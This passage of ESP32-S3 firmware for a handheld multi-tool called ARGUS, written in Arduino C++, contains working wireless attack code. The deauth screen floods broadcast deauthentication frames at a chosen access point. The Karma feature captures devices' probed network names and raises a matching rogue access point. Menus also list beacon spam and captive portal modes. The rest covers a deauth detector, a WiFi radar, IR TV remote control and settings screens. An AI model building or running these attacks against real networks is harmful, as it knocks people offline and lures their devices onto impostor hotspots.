WiFi.disconnect(true); WiFi.mode(WIFI_OFF); delay(200);
WiFi.mode(WIFI_STA); delay(300); esp_wifi_set_ps(WIFI_PS_NONE);
deauthPackets = 0; deauthRunning = false;
scanDeauthTargets();
drawDeauthScreen();
lastDeauthDraw = millis();
}
if (backPressed()) {
deauthRunning = false;
esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE);
screen = WIFI_MENU; return;
}
if (nextPressed() && deauthTargetCount > 0) {
deauthCurrent = (deauthCurrent + 1) % deauthTargetCount;
if (deauthCurrent >= deauthScroll + DEAUTH_VISIBLE) deauthScroll = deauthCurrent - DEAUTH_VISIBLE + 1;
if (deauthCurrent < deauthScroll) deauthScroll = deauthCurrent;
drawDeauthScreen();
}
if (selectPressed()) {
deauthRunning = !deauthRunning;
if (deauthRunning) {
esp_wifi_set_channel(deauthTargets[deauthCurrent].channel, WIFI_SECOND_CHAN_NONE);
beepSuccess();
} else { drawDeauthScreen(); beepBack(); }
}
if (deauthRunning && deauthTargetCount > 0) {
unsigned long now = millis();
if (now - lastDeauthSend > 10) {
lastDeauthSend = now;
uint8_t bcast[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
sendDeauthFrame(deauthTargets[deauthCurrent].bssid, bcast, deauthTargets[deauthCurrent].channel);
}
if (now - lastDeauthDraw > 250) {
lastDeauthDraw = now;
clearScreen(); header("Deauth Attack", 0);
centerText("ATTACKING", 24, COL_WARN, 2);
char buf[32]; snprintf(buf, sizeof(buf), "Packets: %lu", deauthPackets); text(buf, 6, 52, COL_TEXT);
char ss[20]; truncateTo(deauthTargets[deauthCurrent].ssid, ss, 18); centerText(ss, 68, COL_ACCENT);
char cb[16]; snprintf(cb, sizeof(cb), "Channel: %d", deauthTargets[deauthCurrent].channel); centerText(cb, 84, COL_ACCENT2);
centerText("SELECT: stop", 106, COL_DIM);
centerText("BACK: exit", 120, COL_DIM);
}
}
}

// ================= RADAR =================
const int RADAR_CX = 80, RADAR_CY = 82, RADAR_MAX_R = 45;
struct RadarBlip { char ssid[20]; int8_t rssi; float angle, radius; bool open; uint8_t channel; bool valid; };
const int RADAR_MAX = 10;
RadarBlip radarBlips[RADAR_MAX];
int radarCount = 0, radarMode = 0;
unsigned long lastRadarScan = 0;
const int RADAR_SCAN_INTERVAL = 6000;
float rssiToRadius(int8_t rssi) {
const int RSSI_MIN = -95, RSSI_MAX = -30;
if (rssi < RSSI_MIN) rssi = RSSI_MIN; if (rssi > RSSI_MAX) rssi = RSSI_MAX;
float t = (float)(rssi - RSSI_MIN) / (float)(RSSI_MAX - RSSI_MIN);
return RADAR_MAX_R * (1.0 - t) + 6;
}
uint16_t rssiColor(int8_t rssi) { if (rssi > -50) return COL_ACCENT; if (rssi > -70) return COL_ACCENT2; return COL_DIM; }
void scanRadar() {
WiFi.scanDelete(); WiFi.scanNetworks(true, true);
unsigned long start = millis();
while (WiFi.scanComplete() == WIFI_SCAN_RUNNING && millis() - start < 8000) delay(150);
int n = WiFi.scanComplete(); if (n < 0) n = 0;
radarCount = 0;
for (int i = 0; i < n && radarCount < RADAR_MAX; i++) {
String ssid = WiFi.SSID(i); if (ssid.length() == 0) ssid = "<hidden>";
bool open = WiFi.encryptionType(i) == WIFI_AUTH_OPEN;
if (radarMode == 1 && !open) continue;
int8_t rssi = WiFi.RSSI(i);
strncpy(radarBlips[radarCount].ssid, ssid.c_str(), 19); radarBlips[radarCount].ssid[19] = '\0';
radarBlips[radarCount].rssi = rssi; radarBlips[radarCount].open = open;
radarBlips[radarCount].channel = WiFi.channel(i); radarBlips[radarCount].radius = rssiToRadius(rssi);
uint8_t* bssid = WiFi.BSSID(i); float seed = bssid ? (bssid[5] / 255.0f) : (i / 20.0f);
radarBlips[radarCount].angle = seed * 2 * PI; radarBlips[radarCount].valid = true;
radarCount++;
}
}
void drawRadarScreen() {
clearScreen(); header("WiFi Radar", 4);
tft.drawCircle(RADAR_CX, RADAR_CY, RADAR_MAX_R, COL_DIM);
tft.drawCircle(RADAR_CX, RADAR_CY, RADAR_MAX_R * 2 / 3, COL_DIM);
tft.drawCircle(RADAR_CX, RADAR_CY, RADAR_MAX_R / 3, COL_DIM);
tft.drawFastHLine(RADAR_CX - RADAR_MAX_R, RADAR_CY, RADAR_MAX_R * 2, COL_DIM);
tft.drawFastVLine(RADAR_CX, RADAR_CY - RADAR_MAX_R, RADAR_MAX_R * 2, COL_DIM);
tft.fillCircle(RADAR_CX, RADAR_CY, 3, COL_ACCENT);
tft.drawCircle(RADAR_CX, RADAR_CY, 5, COL_ACCENT);
const char* mn[] = {"ALL", "OPEN", "MY"};
text(mn[radarMode], 4, 26, COL_ACCENT2);
char buf[24]; snprintf(buf, sizeof(buf), "%d", radarCount); text(buf, 145, 26, COL_TEXT);
for (int i = 0; i < radarCount; i++) {
float x = RADAR_CX + cos(radarBlips[i].angle) * radarBlips[i].radius;
float y = RADAR_CY + sin(radarBlips[i].angle) * radarBlips[i].radius;
int xi = (int)x, yi = (int)y;
if (xi < 2 || xi > 158 || yi < 24 || yi > 126) continue;
uint16_t col = rssiColor(radarBlips[i].rssi);
tft.fillCircle(xi, yi, 2, col);
if (radarBlips[i].open) tft.drawCircle(xi, yi, 4, COL_ACCENT);
}
centerText("NEXT: mode  BACK: exit", 120, COL_DIM);
}
void tickRadar(bool entered) {
if (entered) {
WiFi.disconnect(true); WiFi.mode(WIFI_OFF); delay(150);
WiFi.mode(WIFI_STA); delay(300); esp_wifi_set_ps(WIFI_PS_NONE);
clearScreen(); header("WiFi Radar", 4); centerText("Scanning...", 60, COL_ACCENT, 2);
scanRadar(); drawRadarScreen(); lastRadarScan = millis();
}
if (millis() - lastRadarScan > RADAR_SCAN_INTERVAL) { lastRadarScan = millis(); scanRadar(); drawRadarScreen(); }
if (backPressed()) { screen = MAIN; return; }
if (nextPressed()) { radarMode = (radarMode + 1) % 3; scanRadar(); drawRadarScreen(); lastRadarScan = millis(); }
}

// ================= DEAUTH DETECTOR =================
volatile unsigned long deauthAttackPackets = 0, deauthLastSeen = 0;
volatile uint8_t deauthAttackerMAC[6] = {0};
volatile int8_t deauthAttackerRSSI = 0;
volatile uint8_t deauthLastChannel = 0;
struct DeauthAttackLog { uint8_t attacker[6]; int8_t rssi; unsigned long time; };
const int DD_LOG_MAX = 10;
DeauthAttackLog ddLog[DD_LOG_MAX];
int ddLogCount = 0;
unsigned long ddTotalPackets = 0, lastDDSeenTime = 0;
int ddAlarmFrames = 0;
unsigned long lastDDDraw = 0, lastBeepAttack = 0;
void IRAM_ATTR deauthDetectorCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
uint8_t* p = pkt->payload; int len = pkt->rx_ctrl.sig_len;
if (len < 26) return;
if ((p[0] & 0xF0) != 0xC0) return;
ddTotalPackets++; deauthLastSeen = millis();
deauthAttackPackets++; lastDDSeenTime = millis();
deauthAttackerRSSI = pkt->rx_ctrl.rssi;
deauthLastChannel = pkt->rx_ctrl.channel;
memcpy((void*)deauthAttackerMAC, p + 10, 6);
}
void addDDLog(const uint8_t* mac, int8_t rssi) {
for (int i = 0; i < ddLogCount; i++)
if (memcmp(ddLog[i].attacker, mac, 6) == 0) { ddLog[i].rssi = rssi; ddLog[i].time = millis(); return; }
if (ddLogCount < DD_LOG_MAX) {
memcpy(ddLog[ddLogCount].attacker, mac, 6);
ddLog[ddLogCount].rssi = rssi; ddLog[ddLogCount].time = millis(); ddLogCount++;
} else {
for (int i = 0; i < DD_LOG_MAX - 1; i++) ddLog[i] = ddLog[i + 1];
memcpy(ddLog[DD_LOG_MAX - 1].attacker, mac, 6);
ddLog[DD_LOG_MAX - 1].rssi = rssi; ddLog[DD_LOG_MAX - 1].time = millis();
}
}
void drawDDLogScreen() {
clearScreen(); header("Detector Log", 4);
if (ddLogCount == 0) { centerText("No attacks yet", 60, COL_ACCENT2); centerText("BACK: return", 100, COL_DIM); return; }
for (int row = 0; row < ddLogCount && row < 7; row++) {
int y = 30 + row * 14;
char mac[24]; macToString(ddLog[row].attacker, mac);
text(mac, 3, y, COL_TEXT);
text(ouiVendor(ddLog[row].attacker), 88, y, COL_ACCENT);
}
centerText("BACK: return", 122, COL_DIM);
}
void drawDeauthDetectorScreen() {
clearScreen(); header("Detector", 4);
bool attacking = (millis() - lastDDSeenTime < 2000);
if (attacking) {
if (ddAlarmFrames & 1) {
tft.fillRect(0, 22, 160, 106, COL_WARN);
centerText("ATTACK", 36, COL_TEXT, 3);
centerText("DETECTED", 64, COL_TEXT, 3);
} else {
centerText("ATTACK", 36, COL_WARN, 3);
centerText("DETECTED", 64, COL_WARN, 3);
}
char buf[32]; snprintf(buf, sizeof(buf), "Packets: %lu", ddTotalPackets); text(buf, 6, 94, COL_TEXT);
char mac[24]; macToString((const uint8_t*)deauthAttackerMAC, mac); text(mac, 6, 106, COL_TEXT);
text(ouiVendor((const uint8_t*)deauthAttackerMAC), 6, 118, COL_TEXT);
} else {
centerText("MONITORING", 36, COL_ACCENT, 2);
char buf[32]; snprintf(buf, sizeof(buf), "Packets: %lu", ddTotalPackets); text(buf, 6, 66, COL_TEXT);
snprintf(buf, sizeof(buf), "Attacks: %d", ddLogCount); text(buf, 6, 80, COL_ACCENT);
text("Channel: ", 6, 96, COL_ACCENT2);
char chbuf[8]; snprintf(chbuf, sizeof(chbuf), "%d", deauthLastChannel ? deauthLastChannel : 1); text(chbuf, 74, 96, COL_TEXT);
centerText("All quiet", 112, COL_ACCENT2);
}
centerText("NEXT: log  BACK: exit", 122, COL_DIM);
}
void tickDeauthDetector(bool entered) {
static unsigned long lastDraw = 0, lastHop = 0; static int chIdx = 0;
static bool showLog = false;
static const uint8_t channels[] = {1, 6, 11};
if (entered) {
WiFi.disconnect(true); WiFi.mode(WIFI_OFF); delay(200);
WiFi.mode(WIFI_STA); delay(300); esp_wifi_set_ps(WIFI_PS_NONE); esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE);
ddTotalPackets = 0; deauthAttackPackets = 0; deauthLastSeen = 0; lastDDSeenTime = 0;
ddLogCount = 0; ddAlarmFrames = 0; showLog = false;
esp_wifi_set_promiscuous_rx_cb(deauthDetectorCallback); esp_wifi_set_promiscuous(true);
clearScreen(); header("Detector", 4); centerText("Starting...", 60, COL_ACCENT, 2); delay(300);
lastDraw = 0; lastHop = millis(); chIdx = 1; drawDeauthDetectorScreen();
}
if (millis() - lastHop > 4000) { lastHop = millis(); chIdx = (chIdx + 1) % 3; esp_wifi_set_channel(channels[chIdx], WIFI_SECOND_CHAN_NONE); }
if (deauthLastSeen != 0) {
uint8_t mc[6]; int8_t rc; noInterrupts();
memcpy(mc, (const void*)deauthAttackerMAC, 6); rc = deauthAttackerRSSI; deauthLastSeen = 0; interrupts();
addDDLog(mc, rc);
}
if (backPressed()) {
if (showLog) { showLog = false; lastDraw = 0; }
else { esp_wifi_set_promiscuous(false); esp_wifi_set_promiscuous_rx_cb(nullptr); screen = WIFI_MENU; return; }
}
if (nextPressed()) { showLog = !showLog; lastDraw = 0; }
bool attacking = (millis() - lastDDSeenTime < 2000);
unsigned long interval = attacking ? 200 : 400;
if (attacking && millis() - lastBeepAttack > 800) { lastBeepAttack = millis(); playAttackAlarm(); }
if (millis() - lastDraw > interval) {
lastDraw = millis(); ddAlarmFrames++;
if (showLog) drawDDLogScreen(); else drawDeauthDetectorScreen();
}
}

// ================= KARMA =================
struct KarmaTarget { char ssid[32]; uint8_t channel; unsigned long lastSeen; bool seen; };
const int KARMA_MAX = 8;
KarmaTarget karmaList[KARMA_MAX];
int karmaCount = 0;
volatile unsigned long karmaProbes = 0;
volatile char karmaLastSSID[32] = "";
bool karmaRunning = false;
char karmaActiveSSID[32] = "";
void IRAM_ATTR karmaCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
uint8_t* p = pkt->payload; int len = pkt->rx_ctrl.sig_len;
if (len < 24 || (p[0] & 0xF0) != 0x40) return;
karmaProbes++;
char tmp[32] = "";
for (int i = 24; i < len - 2; ) {
uint8_t tid = p[i], tl = p[i + 1];
if (i + 2 + tl > len) break;
if (tid == 0x00) {
int l = tl > 31 ? 31 : tl;
memcpy(tmp, p + i + 2, l); tmp[l] = '\0'; break;
}
i += 2 + tl;
}
if (tmp[0] == '\0') return;
strncpy((char*)karmaLastSSID, tmp, 31); karmaLastSSID[31] = '\0';
}
void addKarmaTarget(const char* ssid, uint8_t ch) {
for (int i = 0; i < karmaCount; i++)
if (strcmp(karmaList[i].ssid, ssid) == 0) { karmaList[i].lastSeen = millis(); return; }
if (karmaCount < KARMA_MAX) {
strncpy(karmaList[karmaCount].ssid, ssid, 31); karmaList[karmaCount].ssid[31] = '\0';
karmaList[karmaCount].channel = ch; karmaList[karmaCount].lastSeen = millis(); karmaList[karmaCount].seen = true;
karmaCount++; toneRaw(2600, 30);
} else {
for (int i = 0; i < KARMA_MAX - 1; i++) karmaList[i] = karmaList[i + 1];
strncpy(karmaList[KARMA_MAX - 1].ssid, ssid, 31); karmaList[KARMA_MAX - 1].channel = ch;
karmaList[KARMA_MAX - 1].lastSeen = millis(); karmaList[KARMA_MAX - 1].seen = true;
}
}
void drawKarmaScreen() {
clearScreen(); header("Karma Attack", 0);
if (karmaRunning) {
centerText("KARMA ON", 26, COL_WARN, 2);
char buf[40]; char ss[24]; truncateTo(karmaActiveSSID, ss, 22);
snprintf(buf, sizeof(buf), "SSID: %s", ss); text(buf, 4, 52, COL_TEXT);
snprintf(buf, sizeof(buf), "Probes: %lu", karmaProbes); text(buf, 4, 66, COL_ACCENT);
snprintf(buf, sizeof(buf), "Targets: %d", karmaCount); text(buf, 4, 80, COL_ACCENT2);
centerText("SELECT: stop", 106, COL_DIM); centerText("BACK: exit", 120, COL_DIM);
} else {
centerText("KARMA OFF", 26, COL_ACCENT, 2);
char buf[32]; snprintf(buf, sizeof(buf), "Probes: %lu", karmaProbes); text(buf, 4, 52, COL_TEXT);
snprintf(buf, sizeof(buf), "Targets: %d", karmaCount); text(buf, 4, 66, COL_ACCENT);
int show = karmaCount < 4 ? karmaCount : 4;
for (int i = 0; i < show; i++) {
int y = 82 + i * 11;
char ss[22]; truncateTo(karmaList[i].ssid, ss, 20); text(ss, 4, y, COL_ACCENT2);
char ch[8]; snprintf(ch, sizeof(ch), "ch%d", karmaList[i].channel); text(ch, 132, y, COL_DIM);
}
centerText("SELECT: start", 122, COL_DIM);
}
}
void tickKarma(bool entered) {
static unsigned long lastDraw = 0, lastTargetUpdate = 0; static int chIdx = 0;
static const uint8_t channels[] = {1, 6, 11};
if (entered) {
WiFi.disconnect(true); WiFi.mode(WIFI_OFF); delay(200);
WiFi.mode(WIFI_STA); delay(300); esp_wifi_set_ps(WIFI_PS_NONE); esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE);
karmaCount = 0; karmaProbes = 0; karmaLastSSID[0] = '\0'; karmaRunning = false; karmaActiveSSID[0] = '\0';
esp_wifi_set_promiscuous_rx_cb(karmaCallback); esp_wifi_set_promiscuous(true);
clearScreen(); header("Karma Attack", 0); centerText("Starting...", 60, COL_ACCENT, 2); delay(300);
lastDraw = 0; chIdx = 0; drawKarmaScreen();
}
if (millis() - lastTargetUpdate > 1500) { lastTargetUpdate = millis(); chIdx = (chIdx + 1) % 3; esp_wifi_set_channel(channels[chIdx], WIFI_SECOND_CHAN_NONE); }
if (karmaLastSSID[0] != '\0') {
char sc[32]; noInterrupts();
strncpy(sc, (const char*)karmaLastSSID, 31); sc[31] = '\0'; karmaLastSSID[0] = '\0'; interrupts();
addKarmaTarget(sc, channels[chIdx]);
}
if (backPressed()) {
if (karmaRunning) { WiFi.softAPdisconnect(true); WiFi.mode(WIFI_STA); karmaRunning = false; }
esp_wifi_set_promiscuous(false); esp_wifi_set_promiscuous_rx_cb(nullptr);
screen = WIFI_MENU; return;
}
if (selectPressed()) {
if (!karmaRunning) {
if (karmaCount == 0) { beepError(); drawKarmaScreen(); }
else {
strncpy(karmaActiveSSID, karmaList[karmaCount - 1].ssid, 31); karmaActiveSSID[31] = '\0';
esp_wifi_set_promiscuous(false); WiFi.mode(WIFI_AP_STA); WiFi.softAP(karmaActiveSSID); delay(300);
karmaRunning = true; beepSuccess(); drawKarmaScreen();
}
} else {
WiFi.softAPdisconnect(true); WiFi.mode(WIFI_STA); delay(200);
esp_wifi_set_promiscuous_rx_cb(karmaCallback); esp_wifi_set_promiscuous(true);
karmaRunning = false; beepBack(); drawKarmaScreen();
}
}
if (millis() - lastDraw > 300) { lastDraw = millis(); drawKarmaScreen(); }
}

// ================= IR =================
void drawIrTitle(const char* title, const char* path) {
clearScreen(); header(title, 1); text(path, 6, 26, COL_DIM);
}
void drawIrList(const char* title, const char* path, int selected, int count, const char* const* names) {
drawIrTitle(title, path);
const int visible = 6;
int first = selected - visible / 2;
if (first < 0) first = 0;
if (count <= visible) first = 0;
else if (first > count - visible) first = count - visible;
for (int row = 0; row < visible; row++) {
int idx = first + row; if (idx >= count) break;
menuItem(40 + row * 14, names[idx], idx == selected);
}
char pos[20]; snprintf(pos, sizeof(pos), "%d/%d", selected + 1, count);
text(pos, 126, 120, COL_DIM);
text("NEXT", 6, 120, COL_DIM);
text("SELECT", 42, 120, COL_DIM);
}
void drawIrBrands() {
static const char* names[8];
for (uint8_t i = 0; i < IR_BRAND_COUNT; i++) names[i] = irBrands[i].name;
drawIrList("IR / TV", "BRAND", irBrandItem, IR_BRAND_COUNT, names);
}
void drawIrModels() {
const IRBrand& brand = irBrands[irBrandItem];
static const char* names[8];
for (uint8_t i = 0; i < brand.modelCount; i++) names[i] = brand.models[i].name;
drawIrList(brand.name, "MODEL / PROFILE", irModelItem, brand.modelCount, names);
if (brand.modelCount > 0) text(brand.models[irModelItem].note, 6, 105, COL_ACCENT2);
}
void drawIrRemote() {
const IRBrand& brand = irBrands[irBrandItem];
const IRModel& model = brand.models[irModelItem];
drawIrTitle(brand.name, model.name);
const int count = model.commandCount;
const int visible = 6;
int first = irCommandItem - visible / 2;
if (first < 0) first = 0;
if (count <= visible) first = 0;
else if (first > count - visible) first = count - visible;
for (int row = 0; row < visible; row++) {
int idx = first + row; if (idx >= count) break;
menuItem(40 + row * 14, model.commands[idx].name, idx == irCommandItem);
}
char pos[20]; snprintf(pos, sizeof(pos), "%d/%d", irCommandItem + 1, count);
text(pos, 126, 120, COL_DIM);
text("NEXT", 6, 120, COL_DIM);
text("SELECT SEND", 40, 120, COL_DIM);
if (irToastUntil > millis()) {
tft.fillRoundRect(20, 45, 120, 38, 5, COL_OK);
text("SENT", 61, 51, COL_BG, 2);
text(irToastText, 34, 70, COL_BG);
}
}
void tickIrMenu(bool entered) {
static int irSub = 0;
if (entered) {
clearScreen(); header("IR Remote", 1);
const char* items[] = {"TV Send", "Receive", "Saved Codes", "Back"};
for (int i = 0; i < 4; i++) menuItem(34 + i * 20, items[i], i == irSub);
}
if (backPressed()) { screen = MAIN; return; }
if (nextPressed()) {
irSub = (irSub + 1) % 4;
clearScreen(); header("IR Remote", 1);
const char* items[] = {"TV Send", "Receive", "Saved Codes", "Back"};
for (int i = 0; i < 4; i++) menuItem(34 + i * 20, items[i], i == irSub);
}
if (selectPressed()) {
if (irSub == 0) screen = IR_TV_BRANDS;
else if (irSub == 1) screen = IR_RECEIVE;
else if (irSub == 2) screen = IR_SAVED;
else screen = MAIN;
}
}
void tickIrBrands(bool entered) {
if (entered) drawIrBrands();
if (backPressed()) { screen = IR_MENU; return; }
if (nextPressed()) { irBrandItem++; if (irBrandItem >= IR_BRAND_COUNT) irBrandItem = 0; drawIrBrands(); }
if (selectPressed()) { irModelItem = 0; screen = IR_TV_MODELS; }
}
void tickIrModels(bool entered) {
const IRBrand& brand = irBrands[irBrandItem];
if (entered) drawIrModels();
if (backPressed()) { screen = IR_TV_BRANDS; return; }
if (nextPressed()) { irModelItem++; if (irModelItem >= brand.modelCount) irModelItem = 0; drawIrModels(); }
if (selectPressed()) { irCommandItem = 0; screen = IR_TV_REMOTE; }
}
void tickIrRemote(bool entered) {
const IRModel& model = selectedIrModel();
if (entered) drawIrRemote();
if (backPressed()) { screen = IR_TV_MODELS; return; }
if (nextPressed()) { irCommandItem++; if (irCommandItem >= model.commandCount) irCommandItem = 0; drawIrRemote(); }
if (selectPressed()) {
const IRCommand& command = selectedIrCommand();
sendIRCommand(command);
irToastText = command.name; irToastUntil = millis() + 700;
beepSuccess(); drawIrRemote();
}
if (irToastUntil != 0 && millis() >= irToastUntil) { irToastUntil = 0; drawIrRemote(); }
}

// ================= IR RECEIVE =================
void drawIrReceiveScreen() {
clearScreen(); header("IR Receive", 1);
if (irResults.decode_type != UNKNOWN && (millis() - irLastReceive < 5000)) {
text("Protocol:", 6, 32, COL_ACCENT2);
String s = typeToString(irResults.decode_type, false);
char t[24]; snprintf(t, sizeof(t), "%s", s.c_str()); text(t, 6, 46, COL_TEXT);
char v[32]; snprintf(v, sizeof(v), "Value: 0x%llX", (unsigned long long)irResults.value); text(v, 6, 62, COL_TEXT);
char b[16]; snprintf(b, sizeof(b), "Bits: %d", irResults.bits); text(b, 6, 78, COL_TEXT);
text("SELECT: save", 6, 104, COL_ACCENT);
text("BACK: exit", 6, 118, COL_DIM);
} else {
centerText("Waiting for IR...", 60, COL_DIM);
centerText("BACK: exit", 110, COL_DIM);
}
}
void irRecvStart() { irrecv.enableIRIn(); irRecvActive = true; }
void irRecvStop()  { irrecv.disableIRIn(); irRecvActive = false; }
void tickIrReceive(bool entered) {
if (entered) { irRecvStart(); drawIrReceiveScreen(); }
if (irrecv.decode(&irResults)) {
irLastReceive = millis();
irrecv.resume();
drawIrReceiveScreen();
}
if (backPressed()) { irRecvStop(); screen = IR_MENU; return; }
if (selectPressed() && irResults.decode_type != UNKNOWN) {
beepSuccess(); // Заглушка вместо сохранения на SD
screen = IR_MENU;
}
if (millis() - irLastReceive > 6000) drawIrReceiveScreen();
}

// ================= IR SAVED =================
void drawIrSaved() {
clearScreen(); header("Saved IR", 1);
centerText("SD card required", 55, COL_WARN);
centerText("for saved codes", 75, COL_DIM);
centerText("BACK: return", 105, COL_DIM);
}
void tickIrSaved(bool entered) {
if (entered) drawIrSaved();
if (backPressed()) { screen = IR_MENU; }
}

// ================= SETTINGS / INFO / TEST =================
void displayTestScreen() {
clearScreen(); header("Display Test", 3);
tft.drawRect(8, 30, 44, 30, COL_ACCENT);
tft.fillRect(58, 30, 44, 30, COL_ACCENT);
tft.fillRect(108, 30, 44, 30, COL_ACCENT2);
tft.drawRect(8, 68, 144, 35, COL_ACCENT);
tft.fillCircle(30, 85, 10, COL_ACCENT);
tft.drawCircle(80, 85, 10, COL_ACCENT2);
tft.fillCircle(130, 85, 10, COL_ACCENT2);
}
void infoScreen() {
  clearScreen(); header("INFO / SYSTEM",3);
  if(infoPage==0) {
    text("BOARD: ESP32-S3",4,29,COL_ACCENT2);
    text("DISPLAY: ST7735",4,41,COL_TEXT);
    char b[32];
    snprintf(b,sizeof(b),"CHIP TEMP: %.1f C",(double)temperatureRead()); text(b,4,53,COL_ACCENT);
    snprintf(b,sizeof(b),"HEAP: %lu B",(unsigned long)ESP.getFreeHeap()); text(b,4,65,COL_TEXT);
    snprintf(b,sizeof(b),"MIN HEAP: %lu B",(unsigned long)ESP.getMinFreeHeap()); text(b,4,77,COL_TEXT);
    snprintf(b,sizeof(b),"PSRAM: %lu B",(unsigned long)ESP.getFreePsram()); text(b,4,89,COL_TEXT);
    snprintf(b,sizeof(b),"CPU: %u MHz",(unsigned)ESP.getCpuFreqMHz()); text(b,4,101,COL_ACCENT2);
    snprintf(b,sizeof(b),"FLASH: %lu KB",(unsigned long)(ESP.getFlashChipSize()/1024)); text(b,4,113,COL_TEXT);
  } else if(infoPage==1) {
    text("TFT PINS",4,30,COL_ACCENT2);
    text("CS: GPIO10",4,44,COL_TEXT);
    text("RST: GPIO8  DC: GPIO9",4,57,COL_TEXT);
    text("BL: GPIO7",4,70,COL_TEXT);
    text("SPI SCK: GPIO12",4,83,COL_TEXT);
    text("MISO: GPIO21",4,96,COL_TEXT);
    text("MOSI: GPIO11",4,109,COL_TEXT);
  } else {
    text("OTHER PINS",4,30,COL_ACCENT2);
    text("BACK: GPIO15",4,44,COL_TEXT);
    text("NEXT: GPIO4",4,57,COL_TEXT);
    text("SELECT: GPIO5",4,70,COL_TEXT);
    text("BUZZER: GPIO16",4,83,COL_TEXT);
    text("IR: GPIO1",4,96,COL_TEXT);
    text("SD: NOT CONFIGURED",4,109,COL_WARN);
  }
  char pg[12]; snprintf(pg,sizeof(pg),"%d/3",infoPage+1); text(pg,137,119,COL_DIM);
}
const int SETTINGS_ITEMS = 4;
void drawSettingsScreen() {
clearScreen(); header("Settings", 2);
char br[32]; snprintf(br, sizeof(br), "Brightness: %d/%d", brightnessLevel + 1, BRIGHTNESS_LEVELS);
menuItem(34, br, settingsItem == 0);
char bz[24]; snprintf(bz, sizeof(bz), "Buzzer: %s", buzzerEnabled ? "ON" : "OFF");
menuItem(52, bz, settingsItem == 1);
menuItem(70, "WiFi toggle", settingsItem == 2);
menuItem(88, "Back", settingsItem == 3);
centerText("NEXT: nav  SELECT: change", 118, COL_DIM);
}
void tickSettings(bool entered) {
if (entered) drawSettingsScreen();
if (backPressed()) { screen = ARGUS_HUB; return; }
if (nextPressed()) { settingsItem = (settingsItem + 1) % SETTINGS_ITEMS; drawSettingsScreen(); }
if (selectPressed()) {
if (settingsItem == 0) { brightnessLevel = (brightnessLevel + 1) % BRIGHTNESS_LEVELS; applyBrightness(); drawSettingsScreen(); }
else if (settingsItem == 1) { buzzerEnabled = !buzzerEnabled; if (buzzerEnabled) beepSelect(); drawSettingsScreen(); }
else if (settingsItem == 2) {
if (WiFi.getMode() == WIFI_OFF) { WiFi.mode(WIFI_STA); WiFi.disconnect(); }
else { WiFi.disconnect(true); WiFi.mode(WIFI_OFF); }
drawSettingsScreen();
}
else { screen = ARGUS_HUB; }
}
}
void tickDisplayTest(bool entered) {
if (entered) displayTestScreen();
if (backPressed()) screen = ARGUS_HUB;
}
void tickInfo(bool entered) {
  if(entered) infoScreen();
  if(backPressed()) { screen=ARGUS_HUB; return; }
  if(nextPressed()) { infoPage=(infoPage+1)%3; infoScreen(); }
}

// ================= TICK FUNCTIONS =================
void tickWifiMenu(bool entered) {
if (entered) drawWiFiMenu();
if (backPressed()) { screen = MAIN; return; }
if (nextPressed()) { wifiItem = (wifiItem + 1) % WIFI_ITEMS; drawWiFiMenu(); }
if (selectPressed()) {
if (wifiItem == 0) { screen = scanNetworks() ? WIFI_SCAN : WIFI_MENU; if (screen == WIFI_MENU) drawWiFiMenu(); }
else if (wifiItem == 1) screen = WIFI_STATUS;
else if (wifiItem == 2) screen = WIFI_HOTSPOT;
else if (wifiItem == 3) screen = BEACON_SPAM;
else if (wifiItem == 4) screen = CAPTIVE_PORTAL;
else if (wifiItem == 5) screen = SNIFFER;
else if (wifiItem == 6) screen = DEAUTH;
else if (wifiItem == 7) screen = RADAR;
else if (wifiItem == 8) screen = DEAUTH_DETECTOR;
else if (wifiItem == 9) screen = KARMA;
}
}
void tickWifiScan(bool entered) {
if (entered) drawNetworkList();
if (backPressed()) { screen = WIFI_MENU; return; }
if (nextPressed() && networkCount > 0) { networkItem = (networkItem + 1) % networkCount; drawNetworkList(); }
if (selectPressed()) { screen = WIFI_INFO; }
}
void tickWifiInfo(bool entered) {
if (entered) showNetworkInfo(networkItem);
if (backPressed()) { screen = WIFI_SCAN; return; }
if (selectPressed()) { connectOpenNetwork(networkItem); screen = WIFI_SCAN; }
}
void tickWifiStatus(bool entered) {
if (entered) showWiFiStatus();
if (backPressed()) screen = WIFI_MENU;
}

// ================= SETUP & LOOP =================
void setup() {
Serial.begin(115200);
delay(200);

rgbLed.begin();
rgbLed.setBrightness(70);
rgbLed.clear();
rgbLed.show();

pinMode(BTN_BACK, INPUT_PULLUP);
pinMode(BTN_NEXT, INPUT_PULLUP);
pinMode(BTN_SELECT, INPUT_PULLUP);
pinMode(TFT_BL, OUTPUT);
pinMode(TFT_CS, OUTPUT);
pinMode(BUZZER_PIN, OUTPUT);
pinMode(IR_PIN, OUTPUT);
digitalWrite(TFT_CS, HIGH);
digitalWrite(IR_PIN, LOW);

SPI.begin(12, 21, 11, -1);

ledcAttach(BUZZER_PIN, 2000, 10);

tft.initR(INITR_BLACKTAB);
tft.setRotation(1); // Flipped to the opposite landscape orientation
tft.setTextWrap(false);
applyBrightness();

clearScreen(COL_BG);
// Clean ARGUS boot screen: no eye animation, orange monochrome only.
tft.fillScreen(COL_BG);
tft.setTextColor(COL_ACCENT);
tft.setTextSize(3);
tft.setCursor(22, 36);
tft.print("ARGUS");
tft.setTextSize(1);
tft.setTextColor(COL_ACCENT2);
tft.setCursor(56, 66);
tft.print("SYSTEM v2.0");
tft.drawRoundRect(12, 94, 136, 8, 3, COL_ACCENT);
for (int progress = 0; progress <= 128; progress += 8) {
  tft.fillRoundRect(16, 97, progress, 2, 1, COL_ACCENT2);
  delay(18);
}
delay(120);

irsend.begin();
irrecv.enableIRIn();
irrecv.disableIRIn();

WiFi.mode(WIFI_STA);
WiFi.disconnect();

randomSeed(micros());
playBootMelody();
delay(500);

screen = MAIN;
prevScreen = MAIN;
screenEntered = true;
}

void loop() {
bool entered = screenEntered;
screenEntered = false;

switch (screen) {
case MAIN:              tickMain(entered);              break;
case WIFI_MENU:         tickWifiMenu(entered);          break;
case WIFI_SCAN:         tickWifiScan(entered);          break;
